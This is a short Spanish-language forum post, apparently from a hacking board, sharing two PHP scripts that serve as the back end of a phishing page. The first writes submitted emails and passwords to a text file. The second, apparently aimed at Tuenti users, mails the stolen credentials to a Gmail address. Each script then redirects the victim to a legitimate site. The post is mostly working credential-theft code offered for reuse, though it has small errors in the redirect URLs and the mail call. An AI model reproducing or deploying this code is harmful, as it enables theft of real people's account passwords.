Si ya se, es fácil pero hay gente que no es ni siquiera capas de modificar la dirección a la que se envian los datos (desde el html)
Yo se que es MUY fácil el codigo pero igual

<?php
$email=$_POST[email];
$password=$_POST[pass];
$a=fopen("passwords.txt","a");
$escribir="\n\n Email: ".$email." \n\n Password:".$password." ";
$b=fwrite($a,$escribir);
fclose($a);
header("location: http:www.google.com");
?>

¿No seria mejor asi?
<?php
$email=$_POST[email];
$password=$_POST[pass];
mail("Pass tuenti","Email: ".$email." Pass: ".$password." ^^","caselles@gmail.com","tuemail");
header("location: http:www.tuenti.com");
?>
:B